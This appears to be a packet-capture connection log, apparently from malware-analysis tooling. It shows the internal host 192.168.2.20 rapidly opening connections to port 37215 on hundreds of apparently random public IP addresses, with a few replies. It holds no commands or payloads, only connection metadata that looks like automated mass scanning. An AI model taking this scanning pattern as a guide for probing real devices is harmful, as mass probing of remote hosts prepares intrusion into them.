Jan 22, 2024 03:59:39.583055973 CET	58015	37215	192.168.2.20	197.43.86.103
Jan 22, 2024 03:59:39.583065987 CET	58015	37215	192.168.2.20	138.31.233.168
Jan 22, 2024 03:59:39.583082914 CET	58015	37215	192.168.2.20	197.134.178.145
Jan 22, 2024 03:59:39.583098888 CET	58015	37215	192.168.2.20	41.175.236.154
Jan 22, 2024 03:59:39.583108902 CET	58015	37215	192.168.2.20	181.151.70.66
Jan 22, 2024 03:59:39.583129883 CET	58015	37215	192.168.2.20	197.125.204.63
Jan 22, 2024 03:59:39.583142042 CET	58015	37215	192.168.2.20	156.115.168.221
Jan 22, 2024 03:59:39.583164930 CET	58015	37215	192.168.2.20	197.83.102.80
Jan 22, 2024 03:59:39.583179951 CET	58015	37215	192.168.2.20	102.223.43.114
Jan 22, 2024 03:59:39.583205938 CET	58015	37215	192.168.2.20	120.144.164.130
Jan 22, 2024 03:59:39.583221912 CET	58015	37215	192.168.2.20	41.201.134.20
Jan 22, 2024 03:59:39.583221912 CET	58015	37215	192.168.2.20	197.149.50.195
Jan 22, 2024 03:59:39.583244085 CET	58015	37215	192.168.2.20	41.25.139.149
Jan 22, 2024 03:59:39.583257914 CET	58015	37215	192.168.2.20	156.142.194.243
Jan 22, 2024 03:59:39.583288908 CET	58015	37215	192.168.2.20	156.184.184.203
Jan 22, 2024 03:59:39.583302021 CET	58015	37215	192.168.2.20	197.215.173.140
Jan 22, 2024 03:59:39.583312035 CET	58015	37215	192.168.2.20	41.173.111.49
Jan 22, 2024 03:59:39.583328962 CET	58015	37215	192.168.2.20	186.12.24.110
Jan 22, 2024 03:59:39.583353996 CET	58015	37215	192.168.2.20	41.231.40.11
Jan 22, 2024 03:59:39.583369970 CET	58015	37215	192.168.2.20	41.219.118.95
Jan 22, 2024 03:59:39.583378077 CET	58015	37215	192.168.2.20	186.252.147.152
Jan 22, 2024 03:59:39.583400965 CET	58015	37215	192.168.2.20	107.190.74.73
Jan 22, 2024 03:59:39.583415985 CET	58015	37215	192.168.2.20	197.213.3.43
Jan 22, 2024 03:59:39.583470106 CET	58015	37215	192.168.2.20	156.187.160.99
Jan 22, 2024 03:59:39.583470106 CET	58015	37215	192.168.2.20	197.240.77.118
Jan 22, 2024 03:59:39.583470106 CET	58015	37215	192.168.2.20	154.161.132.158
Jan 22, 2024 03:59:39.583486080 CET	58015	37215	192.168.2.20	157.180.170.51
Jan 22, 2024 03:59:39.583504915 CET	58015	37215	192.168.2.20	122.117.238.176
Jan 22, 2024 03:59:39.583528042 CET	58015	37215	192.168.2.20	186.151.159.116
Jan 22, 2024 03:59:39.583553076 CET	58015	37215	192.168.2.20	41.179.27.52
Jan 22, 2024 03:59:39.583553076 CET	58015	37215	192.168.2.20	197.93.142.146
Jan 22, 2024 03:59:39.583575964 CET	58015	37215	192.168.2.20	41.191.3.125
Jan 22, 2024 03:59:39.583594084 CET	58015	37215	192.168.2.20	156.10.162.214
Jan 22, 2024 03:59:39.583621979 CET	58015	37215	192.168.2.20	190.42.204.68
Jan 22, 2024 03:59:39.583625078 CET	58015	37215	192.168.2.20	95.63.46.3
Jan 22, 2024 03:59:39.583650112 CET	58015	37215	192.168.2.20	41.155.217.117
Jan 22, 2024 03:59:39.583668947 CET	58015	37215	192.168.2.20	197.26.199.242
Jan 22, 2024 03:59:39.583689928 CET	58015	37215	192.168.2.20	197.54.67.184
Jan 22, 2024 03:59:39.583719015 CET	58015	37215	192.168.2.20	107.225.86.224
Jan 22, 2024 03:59:39.583726883 CET	58015	37215	192.168.2.20	156.83.211.235
Jan 22, 2024 03:59:39.583730936 CET	58015	37215	192.168.2.20	197.9.243.195
Jan 22, 2024 03:59:39.583761930 CET	58015	37215	192.168.2.20	197.174.158.47
Jan 22, 2024 03:59:39.583761930 CET	58015	37215	192.168.2.20	190.250.130.28
Jan 22, 2024 03:59:39.583786011 CET	58015	37215	192.168.2.20	156.157.96.92
Jan 22, 2024 03:59:39.583796024 CET	58015	37215	192.168.2.20	156.221.107.199
Jan 22, 2024 03:59:39.583821058 CET	58015	37215	192.168.2.20	41.146.82.178
Jan 22, 2024 03:59:39.583831072 CET	58015	37215	192.168.2.20	41.132.115.102
Jan 22, 2024 03:59:39.583846092 CET	58015	37215	192.168.2.20	197.221.48.103
Jan 22, 2024 03:59:39.583859921 CET	58015	37215	192.168.2.20	197.172.37.218
Jan 22, 2024 03:59:39.583882093 CET	58015	37215	192.168.2.20	107.65.55.55
Jan 22, 2024 03:59:39.583899975 CET	58015	37215	192.168.2.20	41.254.183.172
Jan 22, 2024 03:59:39.583909988 CET	58015	37215	192.168.2.20	190.75.73.187
Jan 22, 2024 03:59:39.583931923 CET	58015	37215	192.168.2.20	190.109.203.191
Jan 22, 2024 03:59:39.583959103 CET	58015	37215	192.168.2.20	157.208.165.19
Jan 22, 2024 03:59:39.583959103 CET	58015	37215	192.168.2.20	197.9.159.54
Jan 22, 2024 03:59:39.583978891 CET	58015	37215	192.168.2.20	186.82.217.140
Jan 22, 2024 03:59:39.583992004 CET	58015	37215	192.168.2.20	94.180.149.202
Jan 22, 2024 03:59:39.584002018 CET	58015	37215	192.168.2.20	197.115.31.34
Jan 22, 2024 03:59:39.584031105 CET	58015	37215	192.168.2.20	41.86.109.48
Jan 22, 2024 03:59:39.584045887 CET	58015	37215	192.168.2.20	41.89.49.143
Jan 22, 2024 03:59:39.584059954 CET	58015	37215	192.168.2.20	41.227.137.68
Jan 22, 2024 03:59:39.584070921 CET	58015	37215	192.168.2.20	94.82.169.136
Jan 22, 2024 03:59:39.584094048 CET	58015	37215	192.168.2.20	120.15.141.177
Jan 22, 2024 03:59:39.584105015 CET	58015	37215	192.168.2.20	156.137.181.45
Jan 22, 2024 03:59:39.584124088 CET	58015	37215	192.168.2.20	154.210.169.13
Jan 22, 2024 03:59:39.584136009 CET	58015	37215	192.168.2.20	41.206.118.21
Jan 22, 2024 03:59:39.584151983 CET	58015	37215	192.168.2.20	181.194.108.40
Jan 22, 2024 03:59:39.584165096 CET	58015	37215	192.168.2.20	41.48.117.156
Jan 22, 2024 03:59:39.584183931 CET	58015	37215	192.168.2.20	156.95.19.150
Jan 22, 2024 03:59:39.584203959 CET	58015	37215	192.168.2.20	156.252.214.142
Jan 22, 2024 03:59:39.584213018 CET	58015	37215	192.168.2.20	156.108.23.74
Jan 22, 2024 03:59:39.584230900 CET	58015	37215	192.168.2.20	156.177.213.74
Jan 22, 2024 03:59:39.584245920 CET	58015	37215	192.168.2.20	157.52.199.168
Jan 22, 2024 03:59:39.584263086 CET	58015	37215	192.168.2.20	41.156.67.38
Jan 22, 2024 03:59:39.584285975 CET	58015	37215	192.168.2.20	156.54.186.86
Jan 22, 2024 03:59:39.584295034 CET	58015	37215	192.168.2.20	94.159.3.113
Jan 22, 2024 03:59:39.584312916 CET	58015	37215	192.168.2.20	156.247.250.253
Jan 22, 2024 03:59:39.584342957 CET	58015	37215	192.168.2.20	156.58.157.225
Jan 22, 2024 03:59:39.584352016 CET	58015	37215	192.168.2.20	156.133.242.107
Jan 22, 2024 03:59:39.584377050 CET	58015	37215	192.168.2.20	156.53.147.168
Jan 22, 2024 03:59:39.584392071 CET	58015	37215	192.168.2.20	156.77.208.123
Jan 22, 2024 03:59:39.584399939 CET	58015	37215	192.168.2.20	41.210.104.112
Jan 22, 2024 03:59:39.584422112 CET	58015	37215	192.168.2.20	197.247.53.70
Jan 22, 2024 03:59:39.584441900 CET	58015	37215	192.168.2.20	41.72.13.99
Jan 22, 2024 03:59:39.584451914 CET	58015	37215	192.168.2.20	190.138.71.185
Jan 22, 2024 03:59:39.584470034 CET	58015	37215	192.168.2.20	197.25.213.190
Jan 22, 2024 03:59:39.584496021 CET	58015	37215	192.168.2.20	197.108.34.171
Jan 22, 2024 03:59:39.584532976 CET	58015	37215	192.168.2.20	94.227.227.30
Jan 22, 2024 03:59:39.584534883 CET	58015	37215	192.168.2.20	41.131.44.39
Jan 22, 2024 03:59:39.584558010 CET	58015	37215	192.168.2.20	41.21.227.196
Jan 22, 2024 03:59:39.584568024 CET	58015	37215	192.168.2.20	41.202.116.158
Jan 22, 2024 03:59:39.584595919 CET	58015	37215	192.168.2.20	197.16.98.35
Jan 22, 2024 03:59:39.584599018 CET	58015	37215	192.168.2.20	222.147.167.125
Jan 22, 2024 03:59:39.584615946 CET	58015	37215	192.168.2.20	41.64.61.246
Jan 22, 2024 03:59:39.584631920 CET	58015	37215	192.168.2.20	41.235.95.113
Jan 22, 2024 03:59:39.584656000 CET	58015	37215	192.168.2.20	154.204.30.230
Jan 22, 2024 03:59:39.584671021 CET	58015	37215	192.168.2.20	41.148.10.110
Jan 22, 2024 03:59:39.584687948 CET	58015	37215	192.168.2.20	197.238.227.143
Jan 22, 2024 03:59:39.584698915 CET	58015	37215	192.168.2.20	92.201.1.243
Jan 22, 2024 03:59:39.584728003 CET	58015	37215	192.168.2.20	122.102.52.168
Jan 22, 2024 03:59:39.584744930 CET	58015	37215	192.168.2.20	156.251.4.89
Jan 22, 2024 03:59:39.584762096 CET	58015	37215	192.168.2.20	190.161.62.249
Jan 22, 2024 03:59:39.584773064 CET	58015	37215	192.168.2.20	156.195.193.222
Jan 22, 2024 03:59:39.584800959 CET	58015	37215	192.168.2.20	160.130.29.184
Jan 22, 2024 03:59:39.584811926 CET	58015	37215	192.168.2.20	156.33.153.188
Jan 22, 2024 03:59:39.584842920 CET	58015	37215	192.168.2.20	156.235.69.218
Jan 22, 2024 03:59:39.584853888 CET	58015	37215	192.168.2.20	41.106.212.194
Jan 22, 2024 03:59:39.584857941 CET	58015	37215	192.168.2.20	41.60.234.115
Jan 22, 2024 03:59:39.584877014 CET	58015	37215	192.168.2.20	138.205.132.81
Jan 22, 2024 03:59:39.584886074 CET	58015	37215	192.168.2.20	41.79.77.30
Jan 22, 2024 03:59:39.584913015 CET	58015	37215	192.168.2.20	45.210.163.31
Jan 22, 2024 03:59:39.584933996 CET	58015	37215	192.168.2.20	41.239.219.119
Jan 22, 2024 03:59:39.584944963 CET	58015	37215	192.168.2.20	197.237.39.158
Jan 22, 2024 03:59:39.584965944 CET	58015	37215	192.168.2.20	197.234.168.193
Jan 22, 2024 03:59:39.584975958 CET	58015	37215	192.168.2.20	41.163.175.50
Jan 22, 2024 03:59:39.585000038 CET	58015	37215	192.168.2.20	160.205.64.27
Jan 22, 2024 03:59:39.585031033 CET	58015	37215	192.168.2.20	197.254.35.16
Jan 22, 2024 03:59:39.585036039 CET	58015	37215	192.168.2.20	138.255.169.94
Jan 22, 2024 03:59:39.585103989 CET	45866	37215	192.168.2.20	156.73.249.230
Jan 22, 2024 03:59:39.585153103 CET	36520	37215	192.168.2.20	156.73.209.201
Jan 22, 2024 03:59:39.601480961 CET	37215	58015	196.68.24.87	192.168.2.20
Jan 22, 2024 03:59:39.817445993 CET	37215	58015	186.212.174.87	192.168.2.20
Jan 22, 2024 03:59:39.817465067 CET	37215	58015	94.159.3.113	192.168.2.20
Jan 22, 2024 03:59:39.823771000 CET	37215	58015	107.174.4.10	192.168.2.20
Jan 22, 2024 03:59:39.865360975 CET	37215	58015	190.245.184.106	192.168.2.20
Jan 22, 2024 03:59:39.914148092 CET	37215	58015	197.215.173.140	192.168.2.20
Jan 22, 2024 03:59:39.931428909 CET	37215	58015	197.234.168.193	192.168.2.20
Jan 22, 2024 03:59:39.934554100 CET	37215	58015	197.254.35.16	192.168.2.20
Jan 22, 2024 03:59:39.947556973 CET	37215	58015	122.241.50.248	192.168.2.20
Jan 22, 2024 03:59:39.980581999 CET	33968	37215	192.168.2.20	156.224.10.150
Jan 22, 2024 03:59:40.140528917 CET	33970	37215	192.168.2.20	156.224.10.150
Jan 22, 2024 03:59:40.584548950 CET	45866	37215	192.168.2.20	156.73.249.230
Jan 22, 2024 03:59:40.584549904 CET	36520	37215	192.168.2.20	156.73.209.201
Jan 22, 2024 03:59:40.586463928 CET	58015	37215	192.168.2.20	197.59.253.61
Jan 22, 2024 03:59:40.586503029 CET	58015	37215	192.168.2.20	41.36.119.146
Jan 22, 2024 03:59:40.586544991 CET	58015	37215	192.168.2.20	95.89.216.4
Jan 22, 2024 03:59:40.586544991 CET	58015	37215	192.168.2.20	41.134.93.134
Jan 22, 2024 03:59:40.586555958 CET	58015	37215	192.168.2.20	197.28.52.254
Jan 22, 2024 03:59:40.586563110 CET	58015	37215	192.168.2.20	197.46.80.210
Jan 22, 2024 03:59:40.586575985 CET	58015	37215	192.168.2.20	222.214.235.116
Jan 22, 2024 03:59:40.586576939 CET	58015	37215	192.168.2.20	122.12.159.178
Jan 22, 2024 03:59:40.586642981 CET	58015	37215	192.168.2.20	156.81.40.66
Jan 22, 2024 03:59:40.586654902 CET	58015	37215	192.168.2.20	156.225.66.69
Jan 22, 2024 03:59:40.586654902 CET	58015	37215	192.168.2.20	41.92.138.249
Jan 22, 2024 03:59:40.586674929 CET	58015	37215	192.168.2.20	156.145.159.166
Jan 22, 2024 03:59:40.586674929 CET	58015	37215	192.168.2.20	122.98.50.172
Jan 22, 2024 03:59:40.586699009 CET	58015	37215	192.168.2.20	156.58.252.231
Jan 22, 2024 03:59:40.586699009 CET	58015	37215	192.168.2.20	41.206.217.170
Jan 22, 2024 03:59:40.586699009 CET	58015	37215	192.168.2.20	197.104.140.81
Jan 22, 2024 03:59:40.586699009 CET	58015	37215	192.168.2.20	222.255.12.185
Jan 22, 2024 03:59:40.586715937 CET	58015	37215	192.168.2.20	41.80.200.198
Jan 22, 2024 03:59:40.586745977 CET	58015	37215	192.168.2.20	41.75.210.75
Jan 22, 2024 03:59:40.586752892 CET	58015	37215	192.168.2.20	156.191.193.84
Jan 22, 2024 03:59:40.586767912 CET	58015	37215	192.168.2.20	41.177.62.28
Jan 22, 2024 03:59:40.586819887 CET	58015	37215	192.168.2.20	41.107.172.75
Jan 22, 2024 03:59:40.586842060 CET	58015	37215	192.168.2.20	41.207.114.104
Jan 22, 2024 03:59:40.586894989 CET	58015	37215	192.168.2.20	156.60.145.235
Jan 22, 2024 03:59:40.586901903 CET	58015	37215	192.168.2.20	156.234.150.221
Jan 22, 2024 03:59:40.586942911 CET	58015	37215	192.168.2.20	197.147.161.202
Jan 22, 2024 03:59:40.586962938 CET	58015	37215	192.168.2.20	41.75.92.103
Jan 22, 2024 03:59:40.586971045 CET	58015	37215	192.168.2.20	197.55.121.181
Jan 22, 2024 03:59:40.586962938 CET	58015	37215	192.168.2.20	41.6.178.227
Jan 22, 2024 03:59:40.586962938 CET	58015	37215	192.168.2.20	41.41.222.177
Jan 22, 2024 03:59:40.587007999 CET	58015	37215	192.168.2.20	156.92.146.157
Jan 22, 2024 03:59:40.587030888 CET	58015	37215	192.168.2.20	181.242.218.12
Jan 22, 2024 03:59:40.587030888 CET	58015	37215	192.168.2.20	41.247.152.135
Jan 22, 2024 03:59:40.587048054 CET	58015	37215	192.168.2.20	196.144.198.22
Jan 22, 2024 03:59:40.587066889 CET	58015	37215	192.168.2.20	41.195.137.100
Jan 22, 2024 03:59:40.587066889 CET	58015	37215	192.168.2.20	41.210.225.170
Jan 22, 2024 03:59:40.587080956 CET	58015	37215	192.168.2.20	156.54.106.122
Jan 22, 2024 03:59:40.587117910 CET	58015	37215	192.168.2.20	41.247.152.254
Jan 22, 2024 03:59:40.587145090 CET	58015	37215	192.168.2.20	197.89.219.156
Jan 22, 2024 03:59:40.587160110 CET	58015	37215	192.168.2.20	41.156.11.237
Jan 22, 2024 03:59:40.587178946 CET	58015	37215	192.168.2.20	156.154.19.98
Jan 22, 2024 03:59:40.587197065 CET	58015	37215	192.168.2.20	121.193.221.4
Jan 22, 2024 03:59:40.587229013 CET	58015	37215	192.168.2.20	41.217.157.93
Jan 22, 2024 03:59:40.587259054 CET	58015	37215	192.168.2.20	156.187.55.115
Jan 22, 2024 03:59:40.587259054 CET	58015	37215	192.168.2.20	156.176.49.35
Jan 22, 2024 03:59:40.587268114 CET	58015	37215	192.168.2.20	156.209.57.86
Jan 22, 2024 03:59:40.587291002 CET	58015	37215	192.168.2.20	37.44.61.122
Jan 22, 2024 03:59:40.587321997 CET	58015	37215	192.168.2.20	41.58.37.235
Jan 22, 2024 03:59:40.587340117 CET	58015	37215	192.168.2.20	197.131.40.3
Jan 22, 2024 03:59:40.587337971 CET	58015	37215	192.168.2.20	41.135.219.114
Jan 22, 2024 03:59:40.587338924 CET	58015	37215	192.168.2.20	138.20.147.148
Jan 22, 2024 03:59:40.587338924 CET	58015	37215	192.168.2.20	41.111.202.34
Jan 22, 2024 03:59:40.587353945 CET	58015	37215	192.168.2.20	196.119.154.190
Jan 22, 2024 03:59:40.587387085 CET	58015	37215	192.168.2.20	41.123.191.204
Jan 22, 2024 03:59:40.587392092 CET	58015	37215	192.168.2.20	41.111.179.76
Jan 22, 2024 03:59:40.587430954 CET	58015	37215	192.168.2.20	157.16.64.17
Jan 22, 2024 03:59:40.587439060 CET	58015	37215	192.168.2.20	156.161.89.62
Jan 22, 2024 03:59:40.587449074 CET	58015	37215	192.168.2.20	197.92.60.23
Jan 22, 2024 03:59:40.587498903 CET	58015	37215	192.168.2.20	156.49.34.101
Jan 22, 2024 03:59:40.587498903 CET	58015	37215	192.168.2.20	156.230.60.200
Jan 22, 2024 03:59:40.587517023 CET	58015	37215	192.168.2.20	156.4.134.217
Jan 22, 2024 03:59:40.587538004 CET	58015	37215	192.168.2.20	41.70.26.163
Jan 22, 2024 03:59:40.587553978 CET	58015	37215	192.168.2.20	197.114.154.246
Jan 22, 2024 03:59:40.587565899 CET	58015	37215	192.168.2.20	41.208.99.187
Jan 22, 2024 03:59:40.587589979 CET	58015	37215	192.168.2.20	156.20.145.251
Jan 22, 2024 03:59:40.587594032 CET	58015	37215	192.168.2.20	197.157.3.11
Jan 22, 2024 03:59:40.587604046 CET	58015	37215	192.168.2.20	156.253.40.34
Jan 22, 2024 03:59:40.587632895 CET	58015	37215	192.168.2.20	156.47.12.124
Jan 22, 2024 03:59:40.587677956 CET	58015	37215	192.168.2.20	222.118.13.90
Jan 22, 2024 03:59:40.587678909 CET	58015	37215	192.168.2.20	41.61.107.204
Jan 22, 2024 03:59:40.587678909 CET	58015	37215	192.168.2.20	190.210.83.201
Jan 22, 2024 03:59:40.587697029 CET	58015	37215	192.168.2.20	181.142.53.156
Jan 22, 2024 03:59:40.587721109 CET	58015	37215	192.168.2.20	121.213.237.223
Jan 22, 2024 03:59:40.587733984 CET	58015	37215	192.168.2.20	107.145.242.188
Jan 22, 2024 03:59:40.587754011 CET	58015	37215	192.168.2.20	41.18.21.242
Jan 22, 2024 03:59:40.587788105 CET	58015	37215	192.168.2.20	186.175.73.244
Jan 22, 2024 03:59:40.587810040 CET	58015	37215	192.168.2.20	190.72.251.245
Jan 22, 2024 03:59:40.587816954 CET	58015	37215	192.168.2.20	156.223.252.100
Jan 22, 2024 03:59:40.587824106 CET	58015	37215	192.168.2.20	121.131.140.41
Jan 22, 2024 03:59:40.587845087 CET	58015	37215	192.168.2.20	157.116.50.99
Jan 22, 2024 03:59:40.587867975 CET	58015	37215	192.168.2.20	197.234.12.31
Jan 22, 2024 03:59:40.587886095 CET	58015	37215	192.168.2.20	95.199.149.209
Jan 22, 2024 03:59:40.587907076 CET	58015	37215	192.168.2.20	197.134.174.201
Jan 22, 2024 03:59:40.587918043 CET	58015	37215	192.168.2.20	120.187.61.12
Jan 22, 2024 03:59:40.587932110 CET	58015	37215	192.168.2.20	121.14.2.19
Jan 22, 2024 03:59:40.587965965 CET	58015	37215	192.168.2.20	196.180.75.160
Jan 22, 2024 03:59:40.587974072 CET	58015	37215	192.168.2.20	197.90.210.187
Jan 22, 2024 03:59:40.587987900 CET	58015	37215	192.168.2.20	41.145.125.101
Jan 22, 2024 03:59:40.588013887 CET	58015	37215	192.168.2.20	197.183.57.72
Jan 22, 2024 03:59:40.588042974 CET	58015	37215	192.168.2.20	197.254.20.64
Jan 22, 2024 03:59:40.588049889 CET	58015	37215	192.168.2.20	197.75.13.0
Jan 22, 2024 03:59:40.588079929 CET	58015	37215	192.168.2.20	122.15.23.139
Jan 22, 2024 03:59:40.588087082 CET	58015	37215	192.168.2.20	156.182.230.167
Jan 22, 2024 03:59:40.588113070 CET	58015	37215	192.168.2.20	156.39.47.126
Jan 22, 2024 03:59:40.588141918 CET	58015	37215	192.168.2.20	41.14.103.40
Jan 22, 2024 03:59:40.588170052 CET	58015	37215	192.168.2.20	107.156.0.238
Jan 22, 2024 03:59:40.588177919 CET	58015	37215	192.168.2.20	37.51.212.57
Jan 22, 2024 03:59:40.588185072 CET	58015	37215	192.168.2.20	156.53.226.78
Jan 22, 2024 03:59:40.588202953 CET	58015	37215	192.168.2.20	222.99.25.249
Jan 22, 2024 03:59:40.588255882 CET	58015	37215	192.168.2.20	41.236.250.223
Jan 22, 2024 03:59:40.588253021 CET	58015	37215	192.168.2.20	197.167.17.131
Jan 22, 2024 03:59:40.588257074 CET	58015	37215	192.168.2.20	157.97.18.51
Jan 22, 2024 03:59:40.588255882 CET	58015	37215	192.168.2.20	107.154.222.0
Jan 22, 2024 03:59:40.588284969 CET	58015	37215	192.168.2.20	160.142.171.163
Jan 22, 2024 03:59:40.588294983 CET	58015	37215	192.168.2.20	156.179.76.66
Jan 22, 2024 03:59:40.588316917 CET	58015	37215	192.168.2.20	41.190.242.179
Jan 22, 2024 03:59:40.588335991 CET	58015	37215	192.168.2.20	156.19.177.9
Jan 22, 2024 03:59:40.588350058 CET	58015	37215	192.168.2.20	107.57.147.55
Jan 22, 2024 03:59:40.588366985 CET	58015	37215	192.168.2.20	157.243.91.29
Jan 22, 2024 03:59:40.588391066 CET	58015	37215	192.168.2.20	156.208.113.143
Jan 22, 2024 03:59:40.588406086 CET	58015	37215	192.168.2.20	156.32.105.78
Jan 22, 2024 03:59:40.588428974 CET	58015	37215	192.168.2.20	41.191.164.94
Jan 22, 2024 03:59:40.588453054 CET	58015	37215	192.168.2.20	197.17.1.51
Jan 22, 2024 03:59:40.588474035 CET	58015	37215	192.168.2.20	197.144.197.183
Jan 22, 2024 03:59:40.588481903 CET	58015	37215	192.168.2.20	41.118.14.235
Jan 22, 2024 03:59:40.588510036 CET	58015	37215	192.168.2.20	197.197.216.152
Jan 22, 2024 03:59:40.588530064 CET	58015	37215	192.168.2.20	95.87.141.13
Jan 22, 2024 03:59:40.588537931 CET	58015	37215	192.168.2.20	41.36.189.222
Jan 22, 2024 03:59:40.588560104 CET	58015	37215	192.168.2.20	190.42.80.5
Jan 22, 2024 03:59:40.588579893 CET	58015	37215	192.168.2.20	41.8.205.124
Jan 22, 2024 03:59:40.588592052 CET	58015	37215	192.168.2.20	41.151.39.189
Jan 22, 2024 03:59:40.588618994 CET	58015	37215	192.168.2.20	92.133.39.79
Jan 22, 2024 03:59:40.588624954 CET	58015	37215	192.168.2.20	41.45.78.83
Jan 22, 2024 03:59:40.588658094 CET	58015	37215	192.168.2.20	138.141.252.239
Jan 22, 2024 03:59:40.588673115 CET	58015	37215	192.168.2.20	197.135.10.68
Jan 22, 2024 03:59:40.588690996 CET	58015	37215	192.168.2.20	41.57.90.72
Jan 22, 2024 03:59:40.588701963 CET	58015	37215	192.168.2.20	156.170.131.206
Jan 22, 2024 03:59:40.588728905 CET	58015	37215	192.168.2.20	41.17.15.94
Jan 22, 2024 03:59:40.588745117 CET	58015	37215	192.168.2.20	197.14.168.174
Jan 22, 2024 03:59:40.588754892 CET	58015	37215	192.168.2.20	181.215.40.59
Jan 22, 2024 03:59:40.588783026 CET	58015	37215	192.168.2.20	157.93.127.148
Jan 22, 2024 03:59:40.588793039 CET	58015	37215	192.168.2.20	196.15.239.213
Jan 22, 2024 03:59:40.588819027 CET	58015	37215	192.168.2.20	41.194.138.85
Jan 22, 2024 03:59:40.588829041 CET	58015	37215	192.168.2.20	157.103.175.3
Jan 22, 2024 03:59:40.588846922 CET	58015	37215	192.168.2.20	41.116.42.18
Jan 22, 2024 03:59:40.588869095 CET	58015	37215	192.168.2.20	157.19.95.172
Jan 22, 2024 03:59:40.588881969 CET	58015	37215	192.168.2.20	157.241.63.156
Jan 22, 2024 03:59:40.588908911 CET	58015	37215	192.168.2.20	197.162.221.225
Jan 22, 2024 03:59:40.588926077 CET	58015	37215	192.168.2.20	197.76.131.227
Jan 22, 2024 03:59:40.588943005 CET	58015	37215	192.168.2.20	41.71.80.197
Jan 22, 2024 03:59:40.588963032 CET	58015	37215	192.168.2.20	156.0.108.201
Jan 22, 2024 03:59:40.588980913 CET	58015	37215	192.168.2.20	45.148.245.26
Jan 22, 2024 03:59:40.589005947 CET	58015	37215	192.168.2.20	196.153.68.196
Jan 22, 2024 03:59:40.589010954 CET	58015	37215	192.168.2.20	41.155.25.67
Jan 22, 2024 03:59:40.589027882 CET	58015	37215	192.168.2.20	95.151.127.158
Jan 22, 2024 03:59:40.589054108 CET	58015	37215	192.168.2.20	222.9.26.222
Jan 22, 2024 03:59:40.589071989 CET	58015	37215	192.168.2.20	41.234.77.80
Jan 22, 2024 03:59:40.589087009 CET	58015	37215	192.168.2.20	157.11.60.14
Jan 22, 2024 03:59:40.589118004 CET	58015	37215	192.168.2.20	156.30.75.251
Jan 22, 2024 03:59:40.589128017 CET	58015	37215	192.168.2.20	156.191.164.4
Jan 22, 2024 03:59:40.589138031 CET	58015	37215	192.168.2.20	156.215.7.63
Jan 22, 2024 03:59:40.589163065 CET	58015	37215	192.168.2.20	122.238.47.32
Jan 22, 2024 03:59:40.589173079 CET	58015	37215	192.168.2.20	156.235.148.167
Jan 22, 2024 03:59:40.589216948 CET	58015	37215	192.168.2.20	186.106.225.24
Jan 22, 2024 03:59:40.589217901 CET	58015	37215	192.168.2.20	107.10.112.95
Jan 22, 2024 03:59:40.589229107 CET	58015	37215	192.168.2.20	186.114.198.141
Jan 22, 2024 03:59:40.589247942 CET	58015	37215	192.168.2.20	186.73.223.251
Jan 22, 2024 03:59:40.589272022 CET	58015	37215	192.168.2.20	102.192.30.41
Jan 22, 2024 03:59:40.589299917 CET	58015	37215	192.168.2.20	41.111.105.23
Jan 22, 2024 03:59:40.589299917 CET	58015	37215	192.168.2.20	156.140.127.187
Jan 22, 2024 03:59:40.589343071 CET	58015	37215	192.168.2.20	181.105.191.131
Jan 22, 2024 03:59:40.589344025 CET	58015	37215	192.168.2.20	156.201.202.153
Jan 22, 2024 03:59:40.589371920 CET	58015	37215	192.168.2.20	197.252.23.189
Jan 22, 2024 03:59:40.589381933 CET	58015	37215	192.168.2.20	197.86.91.32
Jan 22, 2024 03:59:40.589404106 CET	58015	37215	192.168.2.20	37.223.113.201
Jan 22, 2024 03:59:40.589416027 CET	58015	37215	192.168.2.20	122.108.178.124
Jan 22, 2024 03:59:40.589427948 CET	58015	37215	192.168.2.20	120.210.102.161
Jan 22, 2024 03:59:40.589454889 CET	58015	37215	192.168.2.20	41.37.41.70
Jan 22, 2024 03:59:40.589463949 CET	58015	37215	192.168.2.20	120.163.130.103
Jan 22, 2024 03:59:40.589489937 CET	58015	37215	192.168.2.20	156.4.232.18
Jan 22, 2024 03:59:40.589519024 CET	58015	37215	192.168.2.20	160.180.227.253
Jan 22, 2024 03:59:40.589526892 CET	58015	37215	192.168.2.20	122.161.111.108
Jan 22, 2024 03:59:40.589543104 CET	58015	37215	192.168.2.20	197.174.163.8
Jan 22, 2024 03:59:40.589562893 CET	58015	37215	192.168.2.20	160.189.119.60
Jan 22, 2024 03:59:40.589571953 CET	58015	37215	192.168.2.20	156.123.102.230
Jan 22, 2024 03:59:40.589597940 CET	58015	37215	192.168.2.20	41.245.148.0
Jan 22, 2024 03:59:40.589627981 CET	58015	37215	192.168.2.20	41.184.243.33
Jan 22, 2024 03:59:40.589636087 CET	58015	37215	192.168.2.20	37.165.194.213
Jan 22, 2024 03:59:40.589644909 CET	58015	37215	192.168.2.20	41.12.251.233
Jan 22, 2024 03:59:40.589672089 CET	58015	37215	192.168.2.20	190.40.110.135
Jan 22, 2024 03:59:40.589689970 CET	58015	37215	192.168.2.20	197.215.211.27
Jan 22, 2024 03:59:40.589704990 CET	58015	37215	192.168.2.20	154.253.101.238
Jan 22, 2024 03:59:40.589728117 CET	58015	37215	192.168.2.20	102.187.167.32
Jan 22, 2024 03:59:40.589735985 CET	58015	37215	192.168.2.20	197.27.150.25
Jan 22, 2024 03:59:40.589762926 CET	58015	37215	192.168.2.20	197.35.207.236
Jan 22, 2024 03:59:40.589781046 CET	58015	37215	192.168.2.20	156.168.111.188
Jan 22, 2024 03:59:40.589792013 CET	58015	37215	192.168.2.20	197.55.214.159
Jan 22, 2024 03:59:40.589812040 CET	58015	37215	192.168.2.20	41.74.96.182
Jan 22, 2024 03:59:40.589835882 CET	58015	37215	192.168.2.20	222.185.143.136
Jan 22, 2024 03:59:40.589854002 CET	58015	37215	192.168.2.20	160.33.239.255
Jan 22, 2024 03:59:40.589870930 CET	58015	37215	192.168.2.20	190.0.171.184
Jan 22, 2024 03:59:40.589906931 CET	58015	37215	192.168.2.20	156.160.122.131
Jan 22, 2024 03:59:40.589920044 CET	58015	37215	192.168.2.20	156.220.186.79
Jan 22, 2024 03:59:40.589936018 CET	58015	37215	192.168.2.20	156.182.173.141
Jan 22, 2024 03:59:40.589956045 CET	58015	37215	192.168.2.20	156.132.108.179
Jan 22, 2024 03:59:40.589956045 CET	58015	37215	192.168.2.20	156.131.31.251
Jan 22, 2024 03:59:40.589981079 CET	58015	37215	192.168.2.20	94.95.121.96
Jan 22, 2024 03:59:40.589997053 CET	58015	37215	192.168.2.20	156.139.252.77
Jan 22, 2024 03:59:40.590012074 CET	58015	37215	192.168.2.20	41.36.29.173
Jan 22, 2024 03:59:40.590035915 CET	58015	37215	192.168.2.20	197.121.165.25
